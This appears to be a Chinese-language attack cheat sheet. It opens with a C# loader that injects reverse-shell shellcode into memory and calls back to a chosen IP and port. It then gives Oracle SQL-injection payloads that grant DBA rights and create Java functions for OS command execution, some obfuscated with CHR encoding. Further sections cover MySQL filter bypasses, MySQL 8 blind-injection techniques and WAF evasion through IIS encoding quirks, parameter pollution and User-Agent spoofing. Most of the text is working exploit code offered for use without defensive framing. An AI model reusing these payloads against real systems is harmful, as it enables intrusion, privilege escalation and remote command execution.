using System;using System.IO;using System.Runtime.InteropServices;namespace Meterpreter_Test2{ class Program { static void Main(string[] args) { //RunMeterpreter("192.168.139.129", "4444"); //var str = Convert.ToString(Console.ReadLine()); } public static void RunMeterpreter(string ip, string port) { try { byte[] buf = new byte[323] { 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77, 0x73, 0x32, 0x5f, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xb8, 0x90, 0x01, 0x00, 0x00, 0x29, 0xc4, 0x54, 0x50, 0x68, 0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x6a, 0x05, 0x68, 0xc0, 0xa8, 0x8b, 0x81, 0x68, 0x02, 0x00, 0x11, 0x5c, 0x89, 0xe6, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40, 0x50, 0x68, 0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x97, 0x6a, 0x10, 0x56, 0x57, 0x68, 0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0a, 0xff, 0x4e, 0x08, 0x75, 0xec, 0xe8, 0x61, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x6a, 0x04, 0x56, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x83, 0xf8, 0x00, 0x7e, 0x36, 0x8b, 0x36, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x56, 0x6a, 0x00, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0x53, 0x6a, 0x00, 0x56, 0x53, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x83, 0xf8, 0x00, 0x7d, 0x22, 0x58, 0x68, 0x00, 0x40, 0x00, 0x00, 0x6a, 0x00, 0x50, 0x68, 0x0b, 0x2f, 0x0f, 0x30, 0xff, 0xd5, 0x57, 0x68, 0x75, 0x6e, 0x4d, 0x61, 0xff, 0xd5, 0x5e, 0x5e, 0xff, 0x0c, 0x24, 0xe9, 0x71, 0xff, 0xff, 0xff, 0x01, 0xc3, 0x29, 0xc6, 0x75, 0xc7, 0xc3 }; var ipOctetSplit = ip.Split('.'); byte octByte1 = Convert.ToByte(ipOctetSplit[0]); byte octByte2 = Convert.ToByte(ipOctetSplit[1]); byte octByte3 = Convert.ToByte(ipOctetSplit[2]); byte octByte4 = Convert.ToByte(ipOctetSplit[3]); int inputPort = Int32.Parse(port); byte port1Byte = 0x00; byte port2Byte = 0x00; if (inputPort > 256) { int portOct1 = inputPort / 256; int portOct2 = portOct1 * 256; int portOct3 = inputPort - portOct2; int portoct1Calc = portOct1 * 256 + portOct3; if (inputPort == portoct1Calc) { port1Byte = Convert.ToByte(portOct1); port2Byte = Convert.ToByte(portOct3); } } else { port1Byte = 0x00; port2Byte = Convert.ToByte(inputPort); } buf[174] = octByte1; buf[175] = octByte2; buf[176] = octByte3; buf[177] = octByte4; buf[181] = port1Byte; buf[182] = port2Byte; UInt32 funcAddr = VirtualAlloc(0, (UInt32)buf.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(buf, 0, (IntPtr)(funcAddr), buf.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } catch (Exception e) { Console.WriteLine(e); throw; } } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 lpThreadAttributes,UInt32 dwStackSize,UInt32 lpStartAddress,IntPtr param,UInt32 dwCreationFlags,ref UInt32 lpThreadId); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds); }}

 

img
生成
img
右键-新建程序集
img
选择无限制
img
数据库中执行

CREATE PROCEDURE [dbo].[取个名]@cmd NVARCHAR (MAX)AS EXTERNAL NAME [cli].[StoredProcedures].[取个名]go

 

 

然后执行exec dbo.取个名

Oracle篇

命令执行

1. ORACLE DATABASE 10G ENTERPRISE EDITION RELEASE 10.2.0.1.0(该版本虚拟机丢失 之前测试成功)

 

提升TEST用户到dba权限 TEST用户名要大写

 

' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''grant dba to TEST''''; END;''; END;--', '', 0, '1', 0) from dual)=0--

 

 

 

创建Java包

 

' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "SasugaOracle" as import java.lang.*;import java.io.*;class SasugaOracle{public static String exec(String cmd){String ret="",tmp;try{BufferedReader reader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));while ((tmp=reader.readLine())!=null){ret+=tmp;}reader.close();}catch(Exception ex){ret=ex.toString();}return ret;}}''''; END;''; END;--', '', 0, '1', 0) from dual)=0--

 

 

 

赋予Java权限

 

  

' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''',''''''''execute''''''''); end;'''';END;'';END;--','SYS',0,'1',0) from dual)=0--

 

 

 

创建runcmd函数

 

' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function runcmd(cmd in varchar2) return varchar2 as language java name ''''''''SasugaOracle.exec(java.lang.String) return java.lang.String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual)=0--

 

 

赋予所有人执行权限

 

' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant execute on runcmd to public'''';END;'';END;--','SYS',0,'1',0) from dual)=0--

 

 

命令执行

 

' and 1=2 union select 1,sys.runcmd('cmd /c whoami'),2 from dual--

 

2. hacking Oracle Database 11.1.0.7.0 以及更低版本(The 11.2.0.1 April CPU patch fixes this)当前用户有dba权限

 

赋予SYSTEM Javasyspriv Only DBA can call this function

 

(select SYS.KUPP$PROC.CREATE_MASTER_PROCESS(begin execute immediate 'grant javasyspriv to SYSTEM';end;)from dual) is not null ' AND (select SYS.KUPP$PROC.CREATE_MASTER_PROCESS(CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(103)||CHR(114)||CHR(97)||CHR(110)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(115)||CHR(121)||CHR(115)||CHR(112)||CHR(114)||CHR(105)||CHR(118)||CHR(32)||CHR(116)||CHR(111)||CHR(32)||CHR(83)||CHR(89)||CHR(83)||CHR(84)||CHR(69)||CHR(77)||CHR(39)||CHR(59)||CHR(101)||CHR(110)||CHR(100)||CHR(59))from dual) is not null--

  

 

  1. 创建javaexec包

' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace and resolve java source named "javaexec" as import java.lang.*;import java.io.*;public class javaexec{public static String Ecmd(String ss) throws IOException{BufferedReader mR= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(ss).getInputStream()));String st,str="";while ((st=mR.readLine()) != null) str += st+"\n";mR.close();return str;}}'';commit; end;') from dual) where rownum=1--' and (select dbms_xmlquery.newcontext(CHR(100)||CHR(101)||CHR(99)||CHR(108)||CHR(97)||CHR(114)||CHR(101)||CHR(32)||CHR(80)||CHR(82)||CHR(65)||CHR(71)||CHR(77)||CHR(65)||CHR(32)||CHR(65)||CHR(85)||CHR(84)||CHR(79)||CHR(78)||CHR(79)||CHR(77)||CHR(79)||CHR(85)||CHR(83)||CHR(95)||CHR(84)||CHR(82)||CHR(65)||CHR(78)||CHR(83)||CHR(65)||CHR(67)||CHR(84)||CHR(73)||CHR(79)||CHR(78)||CHR(59)||CHR(32)||CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(99)||CHR(114)||CHR(101)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(111)||CHR(114)||CHR(32)||CHR(114)||CHR(101)||CHR(112)||CHR(108)||CHR(97)||CHR(99)||CHR(101)||CHR(32)||CHR(97)||CHR(110)||CHR(100)||CHR(32)||CHR(114)||CHR(101)||CHR(115)||CHR(111)||CHR(108)||CHR(118)||CHR(101)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(32)||CHR(115)||CHR(111)||CHR(117)||CHR(114)||CHR(99)||CHR(101)||CHR(32)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(100)||CHR(32)||CHR(34)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(34)||CHR(32)||CHR(97)||CHR(115)||CHR(32)||CHR(105)||CHR(109)||CHR(112)||CHR(111)||CHR(114)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(46)||CHR(42)||CHR(59)||CHR(105)||CHR(109)||CHR(112)||CHR(111)||CHR(114)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(105)||CHR(111)||CHR(46)||CHR(42)||CHR(59)||CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)||CHR(32)||CHR(99)||CHR(108)||CHR(97)||CHR(115)||CHR(115)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(123)||CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)||CHR(32)||CHR(115)||CHR(116)||CHR(97)||CHR(116)||CHR(105)||CHR(99)||CHR(32)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(69)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(115)||CHR(115)||CHR(41)||CHR(32)||CHR(116)||CHR(104)||CHR(114)||CHR(111)||CHR(119)||CHR(115)||CHR(32)||CHR(73)||CHR(79)||CHR(69)||CHR(120)||CHR(99)||CHR(101)||CHR(112)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(123)||CHR(66)||CHR(117)||CHR(102)||CHR(102)||CHR(101)||CHR(114)||CHR(101)||CHR(100)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(32)||CHR(109)||CHR(82)||CHR(61)||CHR(32)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(66)||CHR(117)||CHR(102)||CHR(102)||CHR(101)||CHR(114)||CHR(101)||CHR(100)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(40)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(73)||CHR(110)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(40)||CHR(82)||CHR(117)||CHR(110)||CHR(116)||CHR(105)||CHR(109)||CHR(101)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(82)||CHR(117)||CHR(110)||CHR(116)||CHR(105)||CHR(109)||CHR(101)||CHR(40)||CHR(41)||CHR(46)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(40)||CHR(115)||CHR(115)||CHR(41)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(73)||CHR(110)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(40)||CHR(41)||CHR(41)||CHR(41)||CHR(59)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(115)||CHR(116)||CHR(44)||CHR(115)||CHR(116)||CHR(114)||CHR(61)||CHR(34)||CHR(34)||CHR(59)||CHR(119)||CHR(104)||CHR(105)||CHR(108)||CHR(101)||CHR(32)||CHR(40)||CHR(40)||CHR(115)||CHR(116)||CHR(61)||CHR(109)||CHR(82)||CHR(46)||CHR(114)||CHR(101)||CHR(97)||CHR(100)||CHR(76)||CHR(105)||CHR(110)||CHR(101)||CHR(40)||CHR(41)||CHR(41)||CHR(32)||CHR(33)||CHR(61)||CHR(32)||CHR(110)||CHR(117)||CHR(108)||CHR(108)||CHR(41)||CHR(32)||CHR(115)||CHR(116)||CHR(114)||CHR(32)||CHR(43)||CHR(61)||CHR(32)||CHR(115)||CHR(116)||CHR(43)||CHR(34)||CHR(92)||CHR(110)||CHR(34)||CHR(59)||CHR(109)||CHR(82)||CHR(46)||CHR(99)||CHR(108)||CHR(111)||CHR(115)||CHR(101)||CHR(40)||CHR(41)||CHR(59)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(115)||CHR(116)||CHR(114)||CHR(59)||CHR(125)||CHR(125)||CHR(39)||CHR(59)||CHR(99)||CHR(111)||CHR(109)||CHR(109)||CHR(105)||CHR(116)||CHR(59)||CHR(32)||CHR(101)||CHR(110)||CHR(100)||CHR(59))from dual)isnotnull--

 

  1. 创建javacmd函数

' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function javacmd(p_filename in varchar2)return varchar2 as language java name ''''javaexec.Ecmd(java.lang.String)return String'''';''; commit; end;') from dual) where rownum=1--' and (select dbms_xmlquery.newcontext(CHR(100)||CHR(101)||CHR(99)||CHR(108)||CHR(97)||CHR(114)||CHR(101)||CHR(32)||CHR(80)||CHR(82)||CHR(65)||CHR(71)||CHR(77)||CHR(65)||CHR(32)||CHR(65)||CHR(85)||CHR(84)||CHR(79)||CHR(78)||CHR(79)||CHR(77)||CHR(79)||CHR(85)||CHR(83)||CHR(95)||CHR(84)||CHR(82)||CHR(65)||CHR(78)||CHR(83)||CHR(65)||CHR(67)||CHR(84)||CHR(73)||CHR(79)||CHR(78)||CHR(59)||CHR(32)||CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(99)||CHR(114)||CHR(101)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(111)||CHR(114)||CHR(32)||CHR(114)||CHR(101)||CHR(112)||CHR(108)||CHR(97)||CHR(99)||CHR(101)||CHR(32)||CHR(102)||CHR(117)||CHR(110)||CHR(99)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(112)||CHR(95)||CHR(102)||CHR(105)||CHR(108)||CHR(101)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(32)||CHR(105)||CHR(110)||CHR(32)||CHR(118)||CHR(97)||CHR(114)||CHR(99)||CHR(104)||CHR(97)||CHR(114)||CHR(50)||CHR(41)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(118)||CHR(97)||CHR(114)||CHR(99)||CHR(104)||CHR(97)||CHR(114)||CHR(50)||CHR(32)||CHR(97)||CHR(115)||CHR(32)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(117)||CHR(97)||CHR(103)||CHR(101)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(32)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(32)||CHR(39)||CHR(39)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(46)||CHR(69)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(46)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(41)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(39)||CHR(39)||CHR(59)||CHR(39)||CHR(59)||CHR(32)||CHR(99)||CHR(111)||CHR(109)||CHR(109)||CHR(105)||CHR(116)||CHR(59)||CHR(32)||CHR(101)||CHR(110)||CHR(100)||CHR(59))from dual)isnotnull--

 

  1. 命令执行

' and 1=2 union select 1,(select javacmd('whoami') from dual),'3' from dual--'||utl_inaddr.get_host_name((select javacmd('ping 8.8.8.8') from dual))||'

 

注入技巧

Mysql注入小技巧方法

Mysql 常见防护方式及绕过

基本介绍

mysql目前已经发布正式版本8.0.21,在ubuntu20 apt源中集成了mysql 8.0.20。官方表示 MySQL8要比 MySQL 5.7快2倍,支持json,nosql,修改了默认身份验证,还有其他大量的改进和更快的性能。

1.字符替换

一些小型cms的常见输入点防护代码

$str = str_replace("select", "", $str);
$str = str_replace("union", "", $str);

 

 

上面可以通过双写,或者大小写绕过。于是开发者们换成了:

$str = str_ireplace("select", "***", $str);
$str = str_ireplace("union", "***", $str);

 

 

此替换很有效,但会严重影响正常业务。所以现实中更多的是正则匹配防护。

2.正则匹配

一些waf或比较流行的cms中,我们会看到这样的防护代码

$filter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confi rm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,}) \s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|< |\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\(|@{1 ,2}\w+?\s*|\s+?.+?|.*(`|'|\").+(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSER T\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM\s+?|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|FROM\s.?|\(select|\(\s select|\bunion\b|select\s.+?";

 

其中匹配了各种模式的注入语句,以INSERT\\s+INTO.+?VALUES为例,可通过insert into xxx select方式绕过

在日积月累的毒打之后,开发者们慢慢摸索到了门路,注入获取数据的时候总是需要联合查询或者子查询,于是产生了一些经典的正则,以Discuz的防护代码_do_query_safe函数为例

这段代码的含义是,将要查询的sql语句除了a-z0-9和几个有限字符外的其他所有字符都替换为空,然后进行匹配,如果匹配到如unionall(select这样获取数据必须用到的代码,就拒绝执行

但也不是完全没有绕过的可能,比如同表注入不需要用到子查询

select * from test where test3=-1 or substr(test2,1,1)=1;
select * from test where test3=-1 or substr(test2,1,1)=2;

 

 

也可以通过多语句方式执行

set @a:=0x73656c656374292a2966726f6d2074657374;
#select * from test
prepare s from @a
execute s;

 

 

handler new_ips_final open;
handler new_ips_final read first;
handler handler_table read next;
handler handler_table read next;
handler handler_table read next;
handler new_ips_final close;
#记得养成习惯,随手关闭

 

 

于是有开发者的大佬们想了一个新的方法:语义分析

3.语义分析

通过分析用户的输入,如果符合mysql的语法(当然实际的流程复杂的多),就将其识别为sql注入从而进行阻断。如下图所示

比如一个简单的select 1语句,1这个地方即为expr的位置,可以是一个数字,布尔值,也可以是一个函数,也可以这么写select+1,当所哟可能性都被列出来的时候,就能防止被攻击者绕过。

这类防护绕过通用的思路就是寻找特殊的语法,导致防护方的语义分析出错,当错误到达一定的阈值时,防护设备便认为这不是一个合法的sql语句从而放行

在1后面加上字符集的处理

select 1 union select '1' collate utf8_bin;

 

 

或者

select trim(leading 'x' from 'xxxbarxxx');

 

找一些特殊的函数,里面包含一些关键字,而这些关键字不被防护设备的语义分析识别

mysql8 sql语法新特性

Mysql 8出现的新语法。

TABLE Statement

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

 

 

作用是直接列出表的全部结果

VALUES Statement

 

VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]
value_list:
value[, value][, ...]
column_designator:
column_index

 

 

直接列出一行的值,举例:

values row(1,-2,3),row(5,7,9),row(4,6,8);

 

 

values语句和table语句的结果都是表数据,可以这样

values row(1,-2,3).row(5,7,9),row(4,6,8) union select * from user;

 

 

或者

values row(1,-2,3).row(5,7,9),row(4,6,8) union table user;

成功绕过最最关键的select,即不需要select就能获取数据,不需要多语句执行的情况

利用mysql8 sql注入技巧

假设一个场景,即select无法使用,多语句无法使用,数据库如下

应用代码片段如下

$sql = "select * from news where id= '注入点'"

 

如果数据点有回显,很容易想到使用table语句:

select * from news2 where id=0 union table user;

 

这这里,news2和user都是3列,可以直接联合,实际情况中一些表通常不止3列,但有一些特殊的表常常是3列或4列,如config配置表,通常的列名为id,config_name,config_value,通过上述方式获取网站关键配置信息从而对进一步渗透有所帮助,类似的还有session表,log表等

当上述表不存在时,我们可以常用盲注的手法,需要知道获取数据的表名和字段数

select * from news2 where id=-1 or (1,'a','u')< (table user limit 1);
select * from news2 where id=-1 or (1,'b','u')< (table user limit 1);

 

 

小于号会依次比较一行中的每一列大小

于是可以确定user表的第一个字符为a,依次类推

select * from news2 where id=-1 or (1,'ad','u')< (table user limit 1);
select * from news2 where id=-1 or (1,'ae','u')< (table user limit 1);

 

 

WAF bypass

WAF的种类多种多样,而过滤与检测的方法大体上是一致的。WAF不是十全十美的,它们也都有着自身的缺陷。绕过WAF的方式总结下来,有以下这些。

  1. Web容器的特性
  2. Web应用层的问题
  3. WAF自身的问题
  4. 数据库的一些特性

WEB容器特性

a. 特性之一

在IIS+ASP的环境中,对于URL请求的参数值中的%,如果和后面的字符构成的字符串在URL编码表之外,ASP脚本 处理时会将其忽略。

 

 

 

现在假设有如下请求:
http://zkaq666.com/1.asp?id=1 union se%lect 1,2,3,4 fro%m adm%in

在WAF层,获取到的id参数值为 1 union all se%lect 1,2,3,4 fro%m adm%in ,此时waf因为 % 的分隔,无法检测出关键字 select from 等
但是因为IIS的特性,id获取的实际参数就变为 1 union all select 1,2,3,4 from admin ,从而绕过了waf。
这个特性仅在iis+asp上 asp.net并不存在。

b. 特性之二

IIS的Unicode编码字符
IIS支持Unicode编码字符的解析,但是某些WAF却不一定具备这种能力

 

 

 

 

 

 

如下:
http://zkaq666.com/1.asp?id=1 union all %u0053elect 1,2,3,4, %u0066rom admin

但是IIS后端检测到了Unicode编码会将其自动解码,脚本引擎和数据库引擎最终获取到的参数会是: 1 union all select 1,2,3,4 from admin

这种情况需要根据不同的waf进行相应的测试,并不是百发百中。但是对于绕过来说,往往只要一个字符成功绕过 即可达到目的。

c. 特性之三

HPP(HTTP Parameter Pollution): HTTP参数污染

 

 

 

 

 

 

在HTTP协议中是允许同样名称的参数出现多次的。例如:

http://zkaq666.com/1.asp?id=123&id=456 这个请求。

根据WAF的不同,一般会同时分开检查 id=123 和 id=456 ,也有的仅可能取其中一个进行检测。但是对于 IIS+ASP/ASP.NET来说,它最终获取到的ID参数的值是123,空格456(asp)或123,456(asp.net)。
所以对于这类过滤规则,攻击者可以通过:
id=union+select+password/&id=/from+admin来逃避对 select * from 的检测。因为HPP特性,id的参数值最终会变为:union select password/,/from admin

d. 特性之四

畸形HTTP请求

当向Web服务器发送畸形的,非RFC2616标准的HTTP请求时, Web服务器出于兼容的目的,会尽可能解析畸形HTTP请求。而如果Web服务器的兼容方式与WAF不一致,则可能会出现绕过的情况。下面来看这个POST请求:

 

 

 

 

 

如果将请求改为

 

 

 

 

 

这个请求包就就变为了: Method不合法,没有协议字段HTTP/1.1 ,也没有Host字段。

如果在HTTP/1.1协议中,缺少HOST字段会返回400 bad request。但是某些版本的Apache在处理这个请求时,默认会设置协议为HTTP/0.9 , Host坝默认使用Apache默认的servername ,这种畸形的请求仍然能够被处理。

如果某些WAF在处理数据的时候严格按照GET,POST等方式来获取数据,或者通过正则来处理数据库包,就会因为某些版本的Apache宽松的请求方式而被绕过。

WEB应用层缺陷

  • 多重编码

 

 

 

 

 

 

如果Web应用程序能够接收多重编码的数据,而WAF只能解码一层(或少于WEB应用程序能接收的层数)时,WAF会 因为解码不完全导致防御机制被绕过。

  • 多数据来源的问题

如Asp和Asp.NET中的Request对象对于请求数据包的解析过于宽松,没有依照RFC的标准来,开发人员在编写代码 时如果使用如下方式接收用户传入的参数
ID=Request(“ID”)
ID=Request.Params(“ID”)
WEB程序可从以下3种途径获取到参数ID的参数值:

  1. 从GET请求中获取ID的参数值;
  2. 如果GET请求中没有ID参数,尝试从POST的ID参数中获取参数值;
  3. 如果GET和POST中都获取不到ID的参数值,那么从Cookies中的ID参数获取参数值。
    这样对于某些WAF来说,如果仅检查了GET或POST的,那么来自Cookie的注入攻击就无能为力了,更何况来自于 这三种方式组合而成的参数污染的绕过方法呢?

WAF自身缺陷

  • 白名单机制

WAF存在某些机制,不处理和拦截白名单中的请求数据:

  1. 指定IP或IP段的数据。
  2. 来自于搜索引擎爬虫的访问数据。
  3. 其他特征的数据

如以前某些WAF为了不影响站点的优化,将User-Agent为某些搜索引擎(如谷歌)的请求当作白名单处理,不检测和拦截。伪造HTTP请求的User-Agent非常容易,只需要将HTTP请求包中的User-Agent修改为谷歌搜索引擎 的User-Agent即可畅通无阻。

  • 数据获取方式存在缺陷

某些WAF无法全面支持GET、POST、Cookie等各类请求包的检测,当GET请求的攻击数据包无法绕过时,转换 成POST可能就绕过去了。或者,POST以 Content-Type: application/x-www-form-urlencoded 无法绕过时,转换成上传包格式的Content-Type: multipart/form-data 就能够绕过去

 

 

 

 

 

 

  • 数据处理不恰当

